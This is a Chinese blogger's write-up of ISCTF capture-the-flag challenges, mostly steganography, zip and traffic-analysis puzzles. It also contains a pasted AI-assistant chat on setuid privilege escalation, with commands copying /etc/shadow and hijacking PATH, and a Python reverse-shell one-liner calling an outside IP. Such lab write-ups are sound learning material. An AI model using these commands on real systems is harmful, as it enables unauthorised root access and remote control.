LUO 一个兴趣使然的人与他兴趣使然的博客

ISCTF WriteUp -- MingYi

⚠️ 本文最后更新于2023年12月04日,已经过了289天没有更新,若内容或图片失效,请留言反馈
  • 参赛ID 雅音宫羽
  • 所属队伍 天下溪

妈的,打 CTF 是真折寿

「 Misc 」

镜流

草了8:50检查发现少个个,但我记得下午写了,没保存淦

  • 尝试伪加密修正 >> 错误
  • 爆破得到密码
  • hint提示缩小十倍
  • 放大发现有规则的突兀像素点
  • 确定是大图藏小图
  • 让GPT写个脚本提像素

    from PIL import Image
    
    
    def process_image(input_image_path, output_image_path):
      # 打开图片
      with Image.open(input_image_path) as img:
          # 获取图片的宽度和高度
          width, height = img.size
    
          # 创建一个新的图片,模式为RGB,大小根据原图每10行1个像素,每10列1个像素而定
          new_img = Image.new('RGB', (width // 10, height // 10))
    
          # 提取每10行和每10列的像素
          for i in range(0, width, 10):
              for j in range(0, height, 10):
                  # 获取当前像素点的颜色
                  pixel = img.getpixel((i, j))
                  # 放置在新图片对应位置上
                  new_img.putpixel((i // 10, j // 10), pixel)
    
          # 保存新图片
          new_img.save(output_image_path)
    
    
    # 输入图片路径和输出图片路径
    input_path = 'isctf.png'
    output_path = 'out.png'
    
    # 调用函数
    process_image(input_path, output_path)
    
  • 得到新图片,检查MLB隐写发现还套了个图片
  • save bin得到隐藏的文件
  • 1111.png

杰伦可是流量明星

  • 看名字感觉是流量分析的题,但是附件放了首歌,拖进 Audacity 中报错
  • 开 010 看发现文件中有神秘字符串,疑似流量文件?
    JAY2.PNG
  • 将 mp3 文件直接改后缀 zip 提取出流量包文件,扔进 Wireshark 中分析
  • 先尝试以 ISCTF , flag 等明文搜索,得到flag
    JAY3.png

easy_zip

  • 先尝试了下伪加密,发现不对,于是尝试 Rockyou 开爆
    easyzip.png
  • 用 010 打开 flag 文件直接得到flag
    easyzip2.png

蓝鲨的福利

  • 直接拿 010 打开,看到残缺的 PNG 文件头
    fuli.png
  • 改后缀打开,得到flag
    fuli2.png

Ez_misc

  • 题目描述说 PPT 是个好东西
  • 查看附件: 一个加密压缩包 一个ppt文件
  • 那么先从ppt下手,前面几张是假密码,但是在第四张的备注里有神秘字符串
  • 当做密码成功解压
  • 得到一个 jpg 文件,打开显示文件错误,用 010 打开发现缺了头,补上后打开发现一张 AI 重绘隐藏二维码的图片
    ea_misc.png
  • 调成绿色通道后用 vx 直接扫码得到 flag
    ez_misc2.png
    ez_misc3.jpg

PNG的基本食用

  • 附件给了 3 张 png 图片
  • 那么把「查010」,「修改宽高」,「高低位隐写」,「盲水印」,「通道隐写」逐个检查一遍
  • 第一个试出来是改了宽高
    Eatpng.png
  • 第三个查 010 时发现好像藏了 txt 文件,直接改后缀成 zip 打开
    Eatpng2.png
  • 第二个死活找不到了,但是有了第一个和第三个,组合起来是:ISCTF{png-is- XXXXXX for-you}
  • 那么就猜一下,试了:eazy- , ez- , so-eazy- , so-ez- 运气不错,猜对了

小猫

  • 依旧是把「查010」,「修改宽高」,「高低位隐写」,「盲水印」,「通道隐写」逐个检查一遍
  • 发现神秘坐标系
    smallcat.png
  • 将坐标提取出来,尝试了敲击码,波利比奥斯,手机键盘,键盘密码全部无功而返
  • 转而分析坐标,X 轴最大为 4 , Y 轴最大为 3
    3 × 4 = 12 然后就没思路了,就搁置了
  • 晚上睡前胡思乱想,突然想到有个 24字核心价值观,正好是12个,同时也是3组4个
  • 第二天中午下课后尝试替换,成功解出
    smallcat2.png
    smallcat3.png

MCSOG-猫猫

  • 比赛群里的机器人就叫 MCSOG-猫猫 猜测和这个有关
  • 题目描述有发送: flag在哪 而在比赛群中发送这个机器人会自动回复你
  • 发送后将机器人的回复直接提交失败,猜测可能有某种隐写
  • 将回复复制到 VSCODE 打开的文档中可以看到一堆无法显示的字符
    maomao1.png
  • 那么可以大致判定是零宽隐写了,用在线工具一把梭
    maomao.png

stream

  • 很典型的 sql盲注 题,虽然我自己没做过,但是典型到一搜就是近似wp的博客
  • 首先因为是 sql注入,所以可以先把所有的 http 协议的过滤出来
  • 接着分析注入语句
    stream.png

    • 是很典型的布尔盲注,虽然我不知道是什么意思,但是博客和GPT是这么说的
    • 关键的值有两个:

      • 第一个框起来的代表 flag 字符串的第 n 个字符
      • 第二个则是第 n 个字符的 ASCII 码
    • 大抵就是通过返回判断第 n 个字符的 ASCII 码是否正确,不过不正确就 +1 直到正确为止
  • 那么就有两种思路:

    • 一是观察第一个值什么时候 +1 ,如果第一个值 +1 就说明上一条成功了,把上一条的 ASCII 码提出来就好
    • 二是由于注入失败和成功的返回包不一样,且返回包会包含注入的语句.所以我们可以根据返回包的长度确认那条语句注入成功了
  • 我这里利用的是第二种方法 我们先通过第一个方法找出注入成功的雨具,然后确认了注入成功的返回包长度是 1072
  • 然后我们拷打 GPT 写语句帮我们提出所有长度为 1072 的返回包中的注入语句
    stream2.png
  • 接着再反复拷打 GPT 写个用正则表达式提出 ASCII 码并微调后返回明文的脚本
    stream3.png

    • 附再次拷打脚本

      import re
      
      # 输入文件名
      input_file_path = 'SQL-data.txt'
      
      # 正则表达式
      pattern = r"ASCII\(substr\(\(SELECT%20flag%20from%20answer%20limit%200,1\),(\d+),1\)\)=(\d+)"
      
      # 初始化空字典(保存字符用)
      flag_map = {}
      
      # 读取文件内容
      with open(input_file_path, 'r') as file:
      text = file.read()
      
      # 正则匹配
      matches = re.findall(pattern, text)
      for match in matches:
      # 提取位置和ASCII值
      P1, Flag_Ascii = match
      # 将ASCII值转换为对应的字符,并在字典中保存
      flag_map[int(P1)] = chr(int(Flag_Ascii))
      
      # 拼接字符
      a1 = sorted(flag_map.keys())
      flag = ''.join(flag_map[pos] for pos in a1)
      
      print(flag)
      
    • 运行截图
      stream4.png

一心不可二用

  • 给了一个 APK 文件,安在手机玩了几把,不好玩!!!
  • 改 zip 后缀解压再改回来,把解压出的文件夹拿 everything 扫了下,发现个叫 flag 的压缩包
    one.png
  • 压缩包包含注释:

    File "script.py", line 2
      
                                ^
    TabError: unexpected EOF while parsing
    
    Exited with error status 1
  • 看不懂注释,投喂 GPT
    ONE2.png
  • 获得信息: TabError 是缩进错误 unexpected EOF while parsing 是括号啥的未闭合
  • 依然没啥思路,拷打 GPT 写个故意报错的脚本试试
    ONE3.png
  • 输出好像不是很对
    ONE4.png
  • Bing 一下试试

    • 好像结果不太一样
    • ONE5.png
  • 再 Bing 一下前面不太对头的 TabError

    • 可以看到也不太一样
    • ONE6.png
  • 那我大抵是悟了

    • 先用 TabError 的正确报错后半部分作为密码解压 >> 失败
    • 再用 unexpected EOF while parsing 的正确报错的前半部分作为密码解压 >> 成功
  • 拿到flag
    ONE7.PNG

小蓝鲨的问卷

  • 填问卷
  • 拿flag

小白小黑

  • 将数字全部复制到 VSCODE 中 审计行和列
    BAW.png
  • 256 × 256 , 标准的正方形 , 优先考虑二维码 , 先尝试在每个数字间都插入一个空格
  • 在将边角的几个数字后全部插入空格后 , 在略缩图里已经可以大致看到二维码的雏形了

    • BAW2.PNG
    • 但是右边还差点
    • BAW3.png
  • 将全部数字中间插入空格后全选粘贴到 Excel 中 , 用分列功能把每个数字分到一个格子里 , 并调整每列间距
    BAW4.PNG
  • hint 说了描述里有数字
    BAW5.PNG
  • 那么先取 第一个单词中的 2 和 3 进行处理
  • 如此设置
    BAW6.PNG
  • 缩小表格已经可见雏形了
    BAW7.PNG
  • 放大可以看到
    BAW8.PNG
  • 角落的白色都是数字 1 0 9
  • 那就继续添加规则,将包含 1 0 9 的格子全部用黑色填充
  • BAW9.PNG
  • 至此 VX 扫码即可

ezUSB

  • 没做这类题,Bing了一下发现大抵就是键盘流量还原输入,鼠标流量还原移动
  • 用博客上找到的关键词搜索,在使用「HID DATA」为关键词搜索时发现了关键数据
  • USB1.PNG
  • 判断为键盘流量 , 不过这里的略有不同 , 比很多博客上的都少不少
  • 根据数据还原输入

    • 头两位 不重要
    • 三四位 如果是 02 的话代表按了 Shift
    • 五六位 不重要
    • 七八位 可以根据表格转换成输入
  • 拷打 GPT 写了个脚本提取出全部的「HID DATA」数据
  • 截图太麻烦了我 WP 要写不完了直接附命令

    tshark -r usb.pcapng -T fields -e usbhid.data > usbdata.txt
  • 用 VSCODE 打开 , 用更改全部匹配项操作根据对照表回溯输入
    USB2.png
  • 化简得到

    SOV_JMFYFFJS!!!}
  • 只有一半的flag
  • 更换一下关键词 , 这回用 Data 进行搜索

    • 看到点有意思的
    • USB3.png
    • 有个字段爆红,下面的 DATA 没有显示数据 , 但是点了后在旁边的16进制编辑器里是有对应数据的
    • 下面的 Value 有串数据和 DATA 对应的数据部分重合
    • 尝试将 Value 的数据用键盘数据的还原方式还原后对应字符 i
    • 接着下翻找几条,第一个还原后有意义的是 s
  • 那么接着可以确认这就是前半段的flag了
  • 再次拷打 GPT 写命令把这些数据提出来

    tshark -r usb.pcapng -Y "btatt" -T fields -e btatt.value > extracted_values.txt
  • 接着再次用 VSCODE 手艺活得到前半段 flag

    • USB4.png
    • AGGSZ{Kp_wn_YRV
  • 发现前半段最后还在大写锁定状态,所以后半段flag也得微调:「_sov_jmfyffjs!!!}」
  • 组合起来就是AGGSZ{Kp_wn_YRV_sov_jmfyffjs!!!}
  • 差个格式 , 且二三位都是G , 所以排除凯撒 , 根据经验试试维吉尼亚
  • USB5.PNG
  • 爆出来密钥是 SOeZu
  • 但是解密出来只有一半的明文
  • USB6.png
  • 大胆补齐试试 SOeZusb
  • 拿到 flag
  • USB7.png

EZcrc

真写不完了淦
从这里开始长话短说了

  • 拷打 GPT 写脚本爆破 CRC ,并根据数字排序从小到大进行输出

    import zipfile
    import binascii
    from concurrent.futures import ThreadPoolExecutor
    
    
    def extract_crc_from_zip(zip_path):
      with zipfile.ZipFile(zip_path) as file_handler:
          # 获取压缩包内所有的文件名
          name_list = file_handler.namelist()
          # 解析文件名中的数字并与CRC一起存储在字典中
          crc_info = {name: file_handler.getinfo(name).CRC for name in name_list}
          # 按文件名排序
          sorted_crc_info = dict(sorted(crc_info.items(), key=lambda item: int(item[0].split('.')[0])))
          return sorted_crc_info
    
    
    def search_range(start, end, target_crc32_set, matches):
      for i in range(start, end):
          # 将当前整数转化为3字节的二进制字符串
          bytes_str = i.to_bytes(3, byteorder='big')
          # 计算当前字符串的CRC32值
          crc32 = binascii.crc32(bytes_str) & 0xffffffff
          if crc32 in target_crc32_set:
              matches[crc32].append(bytes_str.hex())
    
    
    def find_crc_matches(crc_info):
      target_crc32_set = list(crc_info.values())
      matches = {target_crc: [] for target_crc in target_crc32_set}
    
      with ThreadPoolExecutor() as executor:
          range_size = 0x1000000 // 8  # 分成8块进行并发操作
          futures = [executor.submit(search_range, i * range_size, (i + 1) * range_size, target_crc32_set, matches) for i
                     in range(8)]
          for future in futures:
              future.result()  # 等待线程完成
      return matches
    
    
    def main(zip_path):
      crc_info = extract_crc_from_zip(zip_path)
      matches = find_crc_matches(crc_info)
    
      match_strings = []
      for filename, crc in crc_info.items():
          crc_hex = f'0x{crc:08x}'
          match_string = ', '.join(matches[crc])
          match_strings.append(match_string)
      return match_strings
    
    
    # 使用这个函数并传入ZIP文件的路径
    match_strings = main('./flag1.zip')
    # 以字符串形式输出匹配结果
    output_str = ' '.join(match_strings)
    print(output_str)
  • 运行结果
    RCR1.png
  • 瑞士军刀转文字:

    大写的乌壹大写的资大写的喔大写的日大写的佛大写的资大写的佛大写的巫基得大写的讷大写的摸科坡日大写的特壹大写的日大写的哥啊勒勒陆大写的特大写的希大写的日大写的讷大写的摸勒坡坡大写的巫科大写的摸巫大写的摸大写的鹅伍欺大写的乌摸坡大写的摸大写的迂大写的哥思巫大写的巫科得大写的讷得大写的鹅壹大写的希大写的思摸特大写的喔鹅科科巫大写的特零得大写的基鹅大写的迂坡特大写的巫大写的特大写的迂摸大写的乌大写的特零玖
  • 将所有的「大写后」的第一个字母大写,其余小写
  • 得到
    CRC2.PNG
  • 瑞士军刀套两层 Base64 得到flag
    CRC3.png

张万森,下雪了

Snow.jpg

status

  • GPT 一把梭
  • 我 - 2023/11/29 00:56:30

    一个靶机内有个可执行文件,执行时会调用system函数,我该如何利用这个提权或者读取到一个我没有权限读取的文件

    AI助手 - 2023/11/29 00:56:30

    在安全测试或CTF(Capture The Flag)挑战中,如果你发现了一个程序,它在执行时调用了 system 函数,这可能是一个提权或本地权限提升的机会。system 函数通常用来执行shell命令,如果程序是以超级用户权限运行的,那么通过这个函数执行的命令也将具有同等权限。

    利用这样的漏洞一般需要以下几个步骤:

    1. 理解程序行为:首先,你需要理解这个可执行文件的功能,包括它调用 system 函数是为了执行什么命令。这可能需要对二进制文件进行逆向工程,使用工具如 strings, objdump, gdb, 或 radare2 等。
    2. 寻找漏洞:找出程序如何使用 system 函数,并寻找它是否存在漏洞,比如不安全的输入处理或者命令注入。
    3. 构造有效载荷:根据漏洞的情况,构造有效载荷,如果可能的话,试图注入你自己的命令或脚本。
    4. 本地权限提升:如果该程序以root权限运行,并且允许你控制传入 system 函数的命令,你可以尝试执行像 bashsh 这样的shell来获取更高权限的shell。
    5. 绕过权限读取文件:如果你想要读取一个你没有权限读取的文件,可以尝试使用 cat 命令将文件的内容输出到一个你有权限访问的地方,比如 /tmp 目录。

    下面是一个简单的例子,如果漏洞程序允许你控制传递给 system 函数的字符串,你可能会这样做:

    ./vulnerable_program "cat /etc/shadow > /tmp/shadow_copy"

    这样,/etc/shadow 文件的内容就会被复制到 /tmp/shadow_copy,之后你就可以阅读它了。

    安全和合规性警告

    • 执行提权操作之前:确保你有明确的授权来执行这些操作。在实际场景中,未经授权地利用这些漏洞是非法的。
    • 操作后清理痕迹:在渗透测试环境中,完成操作后应清除所有工具和脚本,避免留下安全风险。
    • 报告漏洞:发现此类漏洞后,应当将其报告给合适的负责人或组织,以便及时修复。

    在安全测试或CTF环境中,这些技能是非常有用的,但务必在合法和道德的框架内行事。

    我 - 2023/11/29 01:03:01

    我该如何知道他的运行权限?

    AI助手 - 2023/11/29 01:03:01

    要确定一个程序的运行权限,可以查看该程序文件的所有权和权限位。在Unix和类Unix系统中,你可以使用 ls -l 命令来查看文件的详细信息。

    打开一个终端或者命令行窗口,进入到该可执行文件所在的目录,然后运行:

    ls -l executable_name

    这里的 executable_name 是你想要检查的可执行文件的名字。输出将会像这样:

    -rwxr-xr-x 1 root root 12345 Jan 1 12:00 executable_name

    在这个例子中,-rwxr-xr-x 表示:

    • 所有者(在这个例子中是 root)有读(r)、写(w)和执行(x)的权限。
    • 所属组(在这个例子中也是 root)有读和执行的权限。
    • 其他用户(系统中的任何其他账户)有读和执行的权限。

    如果在权限位字符串的第一个字符位置是一个 d,这表明这是一个目录。如果是一个 -,这表明这是一个文件。

    要确定程序执行时的权限,你可以看它的所有者是谁。如果所有者是 root 并且执行位(x)被设置,那么程序可能以 root 权限运行。但是,这仅表明文件可以以 root 权限运行,实际运行时的权限还取决于其他因素,例如程序如何被启动。

    如果程序被配置为通过 sudo 无密码执行,或者它有 setuid (Set User ID)位被设置为 root,那么即使是普通用户也可以以 root 权限执行该程序。要检查 setuid 位,你可以查找权限字符串中第四位的 sS 字符:

    -rwsr-xr-x

    这里 s 位于所有者的执行位上,表明 setuid 位被设置。这意味着无论谁运行这个程序,它都将以文件所有者的身份运行,如果所有者是 root,那么程序将以 root 权限运行。

    另外,你可以使用 stat 命令来获取文件的状态信息:

    stat executable_name

    如果想要确定程序实际执行时的权限,可以使用 ps 命令来查看运行中的进程及其权限,或者在程序运行时查看 /proc 目录下与进程ID相关的信息。例如:

    ps -ef | grep executable_name

    或者,如果你知道进程ID(PID),可以查看:

    ls -l /proc/PID/exe

    这会显示到正在运行的程序的符号链接,包括其所有者和权限。

    请记住,现实世界中,你只能在有明确授权的情况下执行这些操作,未经授权进行这些活动可能会违反法律。

    我 - 2023/11/29 01:08:27

    ctf@ec93992631b9:~$ ls -l
    total 24
    -rwsr-xr-x 1 root root 16768 Nov 27 11:09 checkgenshin
    -rwx-w---- 1 root root    44 Nov 28 16:28 flag

    AI助手 - 2023/11/29 01:08:27

    在提供的输出中,有两个文件列出了其权限和所有权:

    1. checkgenshin 文件
    2. flag 文件

    对于 checkgenshin 文件,权限设置为 -rwsr-xr-x

    • - 表示这是一个普通文件(不是目录)。
    • rws 表示文件所有者(在这种情况下是 root 用户)具有读(r)、写(w)和执行(x)权限。s 表示这个文件设置了 setuid 位。当任何用户执行该文件时,程序会以文件所有者的权限执行,即以 root 权限执行。这通常是安全性测试或CTF挑战中用来提升权限的关键点。
    • r-x 表示属于该文件所有者用户组的用户具有读和执行权限。
    • r-x 表示其他用户也有读和执行权限。

    对于 flag 文件,权限设置为 -rwx-w----

    • - 依然表示这是一个普通文件。
    • rwx 表示文件所有者(root 用户)具有读(r)、写(w)和执行(x)权限。
    • w- 表示属于该文件所有者用户组的用户仅具有写权限。
    • --- 表示其他用户没有任何权限。

    由于 checkgenshin 文件具有 setuid 位且所有者为 root,如果这个文件是可执行的并且在其执行过程中调用了未经过滤的 system 函数或类似的易受攻击的函数,那么它可能能够被用来执行以 root 权限运行的命令。

    如果你想利用这个程序来读取 flag 文件,你可以尝试找到一种方法来触发 checkgenshin 程序执行一个命令,比如 cat 命令来读取 flag 文件,并将内容输出到你可以访问的地方。但请注意,这只能在安全实验、渗透测试或CTF环境中进行,且必须在得到明确授权的情况下执行。在现实世界中未经授权地对系统进行此类操作是非法的。

    我 - 2023/11/29 01:13:18

    我可以更改使其执行cat flag命令,但我无法以root身份运行他

    AI助手 - 2023/11/29 01:13:18

    如果你无法直接以 root 身份运行 checkgenshin 程序,但该程序具有 setuid 位并且所有者是 root,则执行该程序时,它会以 root 权限运行。这意味着,即使你作为普通用户运行它,任何由该程序调用的 system 函数都将以 root 的权限执行。

    这里是一个可能的利用步骤:

    1. 运行程序:直接运行 checkgenshin。由于其 setuid 位,它应该以 root 权限执行。

      ./checkgenshin
    2. 触发 system 调用:如果程序在内部使用 system 函数调用外部命令,而且你有方法通过输入或文件内容影响这个调用(比如通过命令注入),那么你可以尝试利用它。例如,如果程序要求输入,并且将输入内容直接用作 system 调用的一部分,你可能可以通过特殊构造的输入来改变执行的命令。
    3. 重定向输出:如果你成功触发了 system 调用来执行 cat flag,你可能需要将输出重定向到一个你能读取的文件中:

      ./checkgenshin "cat flag > /tmp/output"

      然后你可以读取 /tmp/output 文件来获取 flag 的内容。

      cat /tmp/output

    请记住,你应该只在具有适当授权的情况下,且在一个控制的环境中(如CTF挑战或渗透测试实验室)执行这些操作。在现实世界的系统上未经授权地利用这类漏洞是非法的。确保在进行这些操作之前,你完全理解你的行为,并且有相应的权限。

    我 - 2023/11/29 01:29:48

    不好意思,我之前没搞清楚,我无法使其执行特定的命令,但是我将他down了下载进行静态分析,并得到了他的伪代码:

    int __fastcall main(int argc, const char **argv, const char **envp)
    {
          setuid(0);
      setgid(0);
      printf("Status of the SSH server:");
      system("service ssh status");
      return 0;
    }

    AI助手 - 2023/11/29 01:29:48

    根据您提供的伪代码,这个程序在执行时会尝试设置其用户ID(UID)和组ID(GID)为0,这通常是 root 用户。然后程序执行 system() 调用来检查SSH服务的状态。因为 setuid(0) 在程序开始时被调用,任何随后的命令(例如通过 system() 函数调用的)都将以 root 用户权限执行。

    然而,从您提供的代码来看,并没有明显的办法来直接注入或改变 system 函数调用的命令字符串。这意味着您不能直接通过程序输入来改变它执行的命令。

    不过,如果程序的 system 调用没有指定完整路径,那么环境变量的修改可能会用来利用这个程序。因为 system() 函数在内部使用 shbash 来执行命令,它会按照 PATH 环境变量指定的顺序,在各个目录中搜索指定的命令。如果 PATH 可以被更改,或者如果您可以在程序搜索命令的目录中写入文件,那么您可能能够让程序执行一个不同的 service 命令。

    例如,您可以尝试以下步骤:

    1. 创建一个名为 service 的脚本,该脚本包含您希望以 root 身份执行的命令(比如 cat /root/flag)。
    2. 将这个脚本放在一个您控制的目录中,该目录您可以写入,并确保脚本可执行。
    3. 修改 PATH 环境变量,使其首先指向您的脚本所在的目录。
    4. 运行可执行文件。

    这里是一个示例:

    echo '#!/bin/bash\ncat /root/flag' > /tmp/service
    chmod +x /tmp/service
    export PATH=/tmp:$PATH
    ./checkgenshin

    在这个示例中,当 checkgenshin 执行时,system("service ssh status") 调用将会在修改后的 PATH 中搜索命令,并找到并执行您在 /tmp 下创建的 service 脚本,而不是系统的 service 命令。

    再次提醒,只有在您有明确授权的情况下才能进行这样的操作,例如在合法的安全测试或CTF环境中。在实际系统上未经授权利用这类漏洞是非法的。

    我 - 2023/11/29 01:31:56

    能逐行解释下你的示例吗?

    AI助手 - 2023/11/29 01:31:56

    当然,我会逐行解释示例中的命令:

    1. echo '#!/bin/bash\ncat /root/flag' > /tmp/service

      这行命令是在创建一个新的shell脚本文件 /tmp/serviceecho 命令用于输出传递给它的字符串,在这里输出的字符串是两行:

      • 第一行是 #!/bin/bash,这是一个shebang,告诉系统此脚本应该用 /bin/bash 来执行。
      • 第二行是 cat /root/flag,这条命令尝试读取 /root/flag 文件的内容。

      \n 是一个换行符,将两行命令分开。> 是重定向操作符,它将 echo 命令的输出重定向到文件 /tmp/service 中,如果文件已存在则覆盖它。

    2. chmod +x /tmp/service

      这行命令是改变 /tmp/service 文件的权限,使其成为可执行的。chmod +x 命令给所有用户添加执行权限(x),这意味着任何用户都可以运行这个脚本。

    3. export PATH=/tmp:$PATH

      这行命令是修改当前会话的 PATH 环境变量。PATH 环境变量定义了shell在哪些目录中查找可执行文件。通过将 /tmp 目录添加到 PATH 变量的最前面(注意 : 用来分隔目录),任何后续的命令查找都会首先在 /tmp 目录中寻找可执行文件。

      export 是一个shell命令,用于将变量导出到子进程。在这种情况下,它确保了任何由当前shell启动的程序(包括 checkgenshin)都会使用更新后的 PATH

    4. ./checkgenshin

      这行命令是直接执行当前目录中的 checkgenshin 程序。由于该程序有 setuid 位且所有者为 root,因此它将以 root 用户的身份运行。当它执行到 system("service ssh status") 那一行时,system 函数会在shell中执行命令。由于我们修改了 PATH,shell将首先在 /tmp 目录找到名为 service 的可执行文件,然后执行它而不是系统的 service 命令。

    这个利用方法依赖于 system 函数使用 PATH 环境变量来查找二进制文件的事实。通过将恶意脚本放置在 PATH 中的先前位置,我们可以劫持原本的 service 命令,使 system 调用实际上执行我们的脚本,从而以 root 权限泄露 flag 文件的内容。

    我 - 2023/11/29 01:37:14

    ctf@ec93992631b9:~$ echo '#!/bin/bash\ncat /home/ctf/flag' > /tmp/service
    ctf@ec93992631b9:~$ chmod +x /tmp/service
    ctf@ec93992631b9:~$ export PATH=/tmp:$PATH
    ctf@ec93992631b9:~$ ./checkgenshin
     * sshd is running
    Status of the SSH server:ctf@ec93992631b9:~$ ls
    checkgenshin  checkgenshinFUCK  flag
    ctf@ec93992631b9:~$ ./checkgenshin
     * sshd is running
    Status of the SSH server:ctf@ec93992631b9:~$ ls
    checkgenshin  checkgenshinFUCK  flag
    ctf@ec93992631b9:~$ cd /tmp
    ctf@ec93992631b9:/tmp$ ls
    service
    ctf@ec93992631b9:/tmp$

    AI助手 - 2023/11/29 01:37:14

    看来尽管你按照步骤执行了操作,但是当你运行 ./checkgenshin 时,它没有像预期的那样执行我们在 /tmp 目录下的 service 脚本。它似乎仍然在调用系统的 service 命令来检查 sshd 服务的状态。这可能是由于以下几个原因:

    1. 可执行的 service 命令的完整路径:如果 checkgenshin 程序中硬编码了 service 命令的完整路径(例如,/usr/sbin/service),那么修改 PATH 将不会影响到它。我们无法通过 PATH 注入来覆盖它。
    2. system 函数的行为:在某些系统上,尽管 system 函数通常会受到 PATH 环境变量的影响,但某些特定配置或安全设置可能会改变这一行为。
    3. 环境清理:在调用 system 之前,checkgenshin 程序可能清理了环境变量,包括 PATH,或者使用了一个不包含 /tmpPATH

    为了进一步调试,你可以尝试以下几个步骤:

    1. 确认 service 命令是否能够在新的 PATH 环境下找到

      which service

      这个命令应该输出 /tmp/service,如果没有,那就意味着 PATH 变量没有正确设置,或者shell的配置阻止了它在 /tmp 中寻找命令。

    2. 手动运行 service 脚本以确认是否可以执行

      /tmp/service

      这应该执行你的脚本,并打印出 flag 文件的内容。

    3. 检查 checkgenshin 的行为

      • 你可以使用 strace 工具来追踪系统调用并确定 checkgenshin 如何调用 service 命令:

            strace ./checkgenshin 2>&1 | grep service
      • 如果 checkgenshin 硬编码了 service 命令的路径,它应该会在 strace 的输出中显示。

    如果上述步骤均无法解决问题,你可能需要进一步分析 checkgenshin 程序,或尝试不同的方法来达成目标。这可能包括继续分析二进制文件,寻找其他潜在的漏洞点,或者尝试其他提权技术。在进行CTF挑战时,通常有多种方法可以解决一个问题,所以如果一种方法不适用,就要考虑尝试其他方法。

    我 - 2023/11/29 01:40:08

    ctf@ec93992631b9:~$ which service
    /tmp/service
    ctf@ec93992631b9:~$ /tmp/service
    -bash: /tmp/service: /bin/bash\ncat: bad interpreter: No such file or directory
    ctf@ec93992631b9:~$ cd /tmp
    ctf@ec93992631b9:/tmp$ ls
    service
    ctf@ec93992631b9:/tmp$ cat service
    #!/bin/bash\ncat /home/ctf/flag
  • Status.jpg

sudopy

真写不完了啊啊啊啊啊啊

  • 千辛万苦找到一篇博客
  • https://www.freebuf.com/vuls/279298.html
  • 根据里面的一步一步来就是了

    vim /usr/lib/python3.10/webbrowser.py
    
    反弹shell:
    import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("1.94.48.173",25565));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"])
    
    sudo /usr/bin/python3 /home/ctf/web.py

    拿到flag

Wonderful New World

  • 在文件夹中找到 latest
  • 瑞士军刀魔法棒一把梭
  • MC.png
  • 得到一半flag "_MC_WORLD_IN_ISCTF}"
  • 找不到前半部分了
  • 怎么办呢?
  • 后半段的flag好规律啊!
  • 那就猜一个吧 ~
  • ISCTF{WELCOME_TO_MC_WORLD_IN_ISCTF}
  • 这他妈能对?

「Crypto」

我是傻逼

「Pwn」

test_nc

  • nc
  • 得到flag
  • nc1.png

nc_shell

  • nc
  • ls
  • cat flag
  • nc2.png

「Reverse」

crackme

  • crackme.png

EasyRe

  • 拖进IDA分析
  • ezre1.png
  • 写个脚本回溯flag

    #include "stdio.h"
    int main () {
      char crypto[20] = "]P_ISRF^PCY[I_YWERYC";
      char cry2[20];
      for (int j = 19;j >= 0; --j) {
          cry2[j] = crypto[19 - j];
      }
      for (int i = 0; i < 20; ++i) {
          if (cry2[i] == 89){
              cry2[i] = 66;
          } else if (cry2[i] == 67){
              cry2[i] = 88;
          }
      }
      for (int i = 0; i < 20; ++i) {
          cry2[i] ^= 0x11;
      }
      printf("%s",cry2);
      return 0;
    }
  • ezre2.png
  • 去掉后面的奇怪符号验证md5值正确
  • ezre3.png
  • 微调一下提交
  • ISCTF{SNXJSIAOWCBXNAL}

easy_z3

  • 直接拷打 GPT 出脚本

    from sympy import symbols, Eq, solve
    
    # 定义未知数
    l = symbols('l0:6')
    
    # 定义方程组
    equations = [
      Eq(593*l[5] + 997*l[0] + 811*l[1] + 258*l[2] + 829*l[3] + 532*l[4], 0x54eb02012bed42c08),
      Eq(605*l[4] + 686*l[5] + 328*l[0] + 602*l[1] + 695*l[2] + 576*l[3], 0x4f039a9f601affc3a),
      Eq(373*l[3] + 512*l[4] + 449*l[5] + 756*l[0] + 448*l[1] + 580*l[2], 0x442b62c4ad653e7d9),
      Eq(560*l[2] + 635*l[3] + 422*l[4] + 971*l[5] + 855*l[0] + 597*l[1], 0x588aabb6a4cb26838),
      Eq(717*l[1] + 507*l[2] + 388*l[3] + 925*l[4] + 324*l[5] + 524*l[0], 0x48f8e42ac70c9af91),
      Eq(312*l[0] + 368*l[1] + 884*l[2] + 518*l[3] + 495*l[4] + 414*l[5], 0x4656c19578a6b1170)
    ]
    
    # 解方程组
    solution = solve(equations)
    
    # 如果找到解,则转换为字节并打印
    if solution:
      for symbol, value in solution.items():
          # 将 SymPy Integer 转换为 Python int
          int_value = int(value)
          # 计算需要多少字节来表示这个数字
          num_bytes = (int_value.bit_length() + 7) // 8
          # 将数字转换为字节
          value_bytes = int_value.to_bytes(num_bytes, byteorder='big')
          print(f"{symbol} in bytes: {value_bytes}")
    else:
      print("No solution found.")
    
  • image-1.png

z3_revenge

  • 扔 IDA PRO 分析
  • z321.png
  • 拷打 GPT 写梭哈脚本
    z3333.png
  • GPT 对变量名的理解有些许问题,不过问题不大,我VSCODE手工活给他改过来就是了

    # 修正后脚本
    from z3 import *
    
    # 创建求解器实例
    solver = Solver()
    
    # 创建变量列表
    A = [Int(f'A{i}') for i in range(0, 45)]  # A1到A43
    
    # 添加方程作为约束
    
    solver.add(449 * A[1 ]- 881 * A[2 ]== -40346)
    solver.add(A[2 ]- 188 + 691 - A[3 ]== 519)
    solver.add(506 * A[3 ]- (A[4 ]+ 333) == 33485)
    solver.add(A[4 ]+ 830 + A[5 ]+ 441 == 1425)
    solver.add(A[5 ]- 470 - 148 * A[6 ]== -18604)
    solver.add(A[6 ]+ 253 + 500 * A[7 ]== 50376)
    solver.add(A[7 ]+ 442 + 391 * A[8 ]== 39251)
    solver.add(A[8 ]+ 643 - (745 - A[9]) == 51)
    solver.add(334 * A[9 ]- (247 - A[10]) == 17890)
    solver.add(A[10] - 854 + 193 - A[11] == -660)
    solver.add(A[11] - 762 - 935 * A[12] == -52087)
    solver.add(A[13] + 484 + 389 * A[12] == 21977)
    solver.add(A[13] + 259 - 838 * A[14] == -45733)
    solver.add(843 * A[14] - (A[15] + 516) == 45804)
    solver.add(A[15] + 143 + 518 - A[16] == 652)
    solver.add(A[16] - 918 + 584 - A[17] == -380)
    solver.add(A[18] + 892 + 324 * A[17] == 33390)
    solver.add(A[18] + 261 + 387 - A[19] == 696)
